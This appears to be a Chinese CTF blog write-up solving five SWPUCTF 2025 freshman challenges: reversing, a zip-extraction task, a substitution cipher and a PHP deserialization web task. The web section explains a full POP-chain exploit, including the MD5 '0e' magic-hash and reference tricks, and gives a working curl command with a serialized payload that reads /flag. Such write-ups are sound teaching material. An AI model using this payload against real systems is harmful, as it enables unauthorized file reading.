CTF-SWPUCTF2025秋季新生赛2
题目来源:NSSCTF
练习时间:2026年2月1日
练习数量:5
上篇:CTF-SWPUCTF2025秋季新生赛1
下篇:CTF-SWPUCTF2025秋季新生赛3
📖 SWPUCTF 2025 秋季新生赛合集:
1️⃣CTF-SWPUCTF2025秋季新生赛1
2️⃣CTF-SWPUCTF2025秋季新生赛2
3️⃣CTF-SWPUCTF2025秋季新生赛3
4️⃣CTF-SWPUCTF2025秋季新生赛4
5️⃣CTF-SWPUCTF2025秋季新生赛5
⭐️ 03 [SWPUCTF 2025 秋季新生赛]一种很新的签到
🚩flag:NSSCTF{Welcome_To_NSS_Reverse_Challenge!!}
💡hint:reverse
🔧tool:ida-pro
下载附件后用ida-pro打开,第一步,打开:
View → Open subviews → Strings |
然后搜索
用 ⌘ + F 查找关键字 NSSCTF 得到flag。

⭐️ 04 [SWPUCTF 2025 秋季新生赛]FIRST MEETING
🚩flag:NSSCTF{af957930-79c2-4697-961b-fafb66b2041f}
💡hint:web PHP 反序列化漏洞 POP 链利用(Property Oriented Programming)
🔧tool:php运行工具/环境
原题奉上:
|
漏洞点:unserialize会把用户输入还原为对象或者数组。
对于web:
class WEB { |
当 unserialize() 结束、脚本生命周期结束时,WEB 对象会析构,自动执行 __destruct()。
它做了一个关键动作:echo $this->sauy;
如果 $sauy 是字符串:就打印字符串
如果 $sauy 是对象:PHP 会尝试把对象转成字符串 → 触发 __toString()
进入pwn:
class PWN { |
这里两件事:
要求 $wings === ‘SHENG-YI’(严格相等)
→ 逼你在 payload 里把属性填对
调用一个根本不存在的方法:
$this->c0trick->MinatoNamikaze();
对一个对象调用不存在的方法,会触发该对象的 __call($name,$args)
然后会跳到reverse:
class REVERSE { |
先卡类型与相等
必须都是字符串
还必须不全等:harukaze !== ysyy
再卡 MD5 “==” 比较
关键是:
md5($a) == md5($b)
注意是 ==,不是 ===。
PHP 的 == 会发生类型转换。只要 MD5 结果长得像科学计数法的 0:
“0e123456…” 会被当成数字 0
“0e999999…” 也会被当成数字 0
所以 0 == 0 为真
这就是著名的 “0e 魔术哈希”
成功后,把 acc 当函数调用。
如果 acc 是对象,PHP 会尝试调用对象 → 触发对象的 __invoke()
跳转到MISC:
class MISC { |
这里对 $cr4p 对象做属性赋值:->png = ‘010’
如果 $cr4p 这个对象里 没有 png 这个属性,则会触发该对象的 __set($name,$value)。
题目里正好只有 CRYPTO 有 __set。
跳转到CRYPTO:
class CRYPTO { |
dance = md5(rand()) + last === dance
dance 是随机生成的
last 必须严格等于 dance 才能走到 new …
如果你正常思路:你不可能预知 rand()
所以出题人故意逼你想“trick”。
这个 trick 就是:引用(Reference)
如果你让:
$last 和 $dance 是同一个引用(指向同一个 zval)
那么当 dance 被赋新值时,last 也同步变成同一个值,于是:
last === dance 必然为真(甚至是同一个变量)
这就是这题最巧的点:用引用绕过随机性 + 严格比较。
你可以控制:
kyarihoshi:类名字符串
rocage:构造参数
于是你可以选一个 内置类,让 echo $kiss 输出你想要的东西。
最典型就是:
SplFileObject($path):读文件内容(很多环境 echo 时能输出行)
或 FilesystemIterator(‘glob:///…’):枚举文件名(你之前就用它爆出了 flag 这个名字)
所以出题人的最终目标是:
让你用动态 new + echo 打印 flag 文件的内容(或通过迭代器枚举定位 flag)。
最终解题脚本:
|
运行得出的结果赋值给NSS
curl -s -X POST -d "NSS=O%3A3%3A%22WEB%22%3A2%3A%7Bs%3A9%3A%22%00WEB%00sauy%22%3BO%3A3%3A%22PWN%22%3A2%3A%7Bs%3A5%3A%22wings%22%3Bs%3A8%3A%22SHENG-YI%22%3Bs%3A7%3A%22c0trick%22%3BO%3A7%3A%22REVERSE%22%3A4%3A%7Bs%3A9%3A%22%00%2A%00re1sen%22%3BN%3Bs%3A8%3A%22harukaze%22%3Bs%3A7%3A%22QNKCDZO%22%3Bs%3A4%3A%22ysyy%22%3Bs%3A11%3A%22s878926199a%22%3Bs%3A3%3A%22acc%22%3BO%3A4%3A%22MISC%22%3A1%3A%7Bs%3A4%3A%22cr4p%22%3BO%3A6%3A%22CRYPTO%22%3A5%3A%7Bs%3A10%3A%22kyarihoshi%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A6%3A%22rocage%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A4%3A%22last%22%3Bs%3A4%3A%22seed%22%3Bs%3A5%3A%22dance%22%3BR%3A12%3Bs%3A4%3A%22kiss%22%3BN%3B%7D%7D%7D%7Ds%3A10%3A%22creambread%22%3BN%3B%7D" http://node1.anna.nssctf.cn:28727 |
然后就会输出flag:

⭐️ 05 [SWPUCTF 2025 秋季新生赛]Are u “脚本小子”?
🚩flag:NSSCTF{WoW_u_a4e_py7h0n_m4ster!}
💡hint:misc
🔧tool:python
Mac自带软件自动解压ing(bushi
然后跑完就得到flag了。
正经脚本解法如下:
#!/usr/bin/env python3 |
附带用法:
解压一个文件并递归:
python3 recursive_extract.py sample.zip -o out |
解压一个目录(目录里可能有很多压缩包/嵌套):
python3 recursive_extract.py ./downloads -o out |
加限制(防压缩炸弹):
python3 recursive_extract.py nested.tar.gz -o out --max-depth 10 --max-files 5000 --max |
【扩展】压缩炸弹:体积很小的压缩文件,解压后会变成极其巨大的数据,用来拖垮你的 CPU、内存或磁盘。
它本质是 一种拒绝服务(DoS)攻击手段,在 CTF、恶意样本、邮件附件、自动解压系统里都非常常见。
⭐️ 06 [SWPUCTF 2025 秋季新生赛]未完的故事
🚩flag:NSSCTF{H0nest_fr1eNd1y_4nd_C0nfidenT}
💡hint:misc 词频统计 古典密码
🔧tool:quipquip cyberchef
看题得知明显单表替换密码
单表替换密码工具:https://quipqiup.com/
Etn Ghar lvri ur etn beefisela us sha islaas gelral. Shala'i u islurma lvta or hoi isela: ha rajal poroihai klosorm ury beef. Us ubevs ske-sholni ep sha kuy shlevmh augh beef, shala kott ba u natogusa beefzulf. Er sha bugf, os oi hurnklossar: "Sha lais, dtauia klosa os yevliatp." Us polis, daedta kala jaly vruggvisezan se os. Ieza guza bugf urmloty kosh "Era Hvrnlan Yauli ep Ietosvna" or hurn urn uifan, "O kui qvis launorm ubevs Lazanoei' uigarioer se haujar, khy non os arn?" Etn Ghar qvis izotan urn iuon, "Ne yev shorf iha svlran orse u bvssalpty el baguza luor?" Tusal, daedta mlunvutty patt or teja kosh shoi forn ep launorm. Sha gedy ep "Sha Iaumvtt Laisuvlurs" kui taps edar us sha duma khala sha ekral kui nagonorm khashal se slujat pul ukuy, urn sha dumai kala pottan kosh launali' klossar pettek-vdi - ieza ivmmaisan iha me se Ogaturn, khota eshali vlman hal se isuy. Sha shogfais era oi "Sha Soza Slujatal'i Kopa", khogh hui baar laklossar kosh iajar noppalars arnormi. Ieza zas or sha bturf dumai, khota eshali iuon meenbya or sha zulmori. Era nuy, u molt ihekan vd kosh u zurviglods klossar by Tue Ghar hoziatp. Sha isely iseddan us sha zeis awgosorm svlrorm deors, urn sha lais ep sha dumai kala bturf. "Shoi oi yevl ptum" sha molt iuon. "RIIGSP{INBvCWR0W2CyZKJECNP5WcLvCP9NZM5zuKLtbtX=}" Etn Ghar teefan evs ep sha kornek us sha puttorm duvtekrou taujai urn iuon iepsty, "O'ja baar kuosorm pel iezaera se klosa sha arnorm pel za." Sha molt kui iotars pel u zezars, shar seef evs u dar plez hal bum urn klesa er sha tuis duma: "Tusal, sha beefisela ekral kuosan pel hoi launal. Semashal, shay poroihan utt sha vrporoihan iseloai." Sha iassorm ivr ihera shlevmh sha ihed kornek, islasghorm sha ihuneki ep sha ske daedta jaly term, qvis tofa u dalpagsty dtugan pvtt ised. |
破解后:
Old Chen runs an old bookstore at the street corner. There's a strange rule in his store: he never finishes writing any book. At about two-thirds of the way through each book, there will be a delicate bookmark. On the back, it is handwritten: "The rest, please write it yourself." At first, people were very unaccustomed to it. Some came back angrily with "One Hundred Years of Solitude" in hand and asked, "I was just reading about Remedios' ascension to heaven, why did it end?" Old Chen just smiled and said, "Do you think she turned into a butterfly or became rain?" Later, people gradually fell in love with this kind of reading. The copy of "The Seagull Restaurant" was left open at the page where the owner was deciding whether to travel far away, and the pages were filled with readers' written follow-ups - some suggested she go to Iceland, while others urged her to stay. The thickest one is "The Time Traveler's Wife", which has been rewritten with seven different endings. Some met in the blank pages, while others said goodbye in the margins. One day, a girl showed up with a manuscript written by Lao Chen himself. The story stopped at the most exciting turning point, and the rest of the pages were blank. "This is your flag" the girl said. "NSSCTF{SDBuZXN0X2ZyMWVOZDF5XzRuZF9DMG5maWRlblQ=}" Old Chen looked out of the window at the falling paulownia leaves and said softly, "I've been waiting for someone to write the ending for me." The girl was silent for a moment, then took out a pen from her bag and wrote on the last page: "Later, the bookstore owner waited for his reader. Together, they finished all the unfinished stories." The setting sun shone through the shop window, stretching the shadows of the two people very long, just like a perfectly placed full stop. |
flag可能是base64编码,放到cyberchef里面看看。
https://gchq.github.io/CyberChef/
得到:H0nest_fr1eNd1y_4nd_C0nfidenT
所以flag:
NSSCTF{H0nest_fr1eNd1y_4nd_C0nfidenT}
⭐️ 07 [SWPUCTF 2025 秋季新生赛]debuggggg
🚩flag:NSSCTF{random_number_0r_not_abc}
💡hint:reverse
🔧tool:idapro
idapro找到关键代码段:
unsigned __int64 sub_1317() |
关键代码段2:
__int64 __fastcall sub_126B(__int64 a1, __int64 a2) |
拉能跑的docker容器(一次性容器):
docker run --rm -it \ |
最终解题脚本:
#!/usr/bin/env python3 |

篇尾:
✨
欣赏一下花了一些时间做的美丽gif
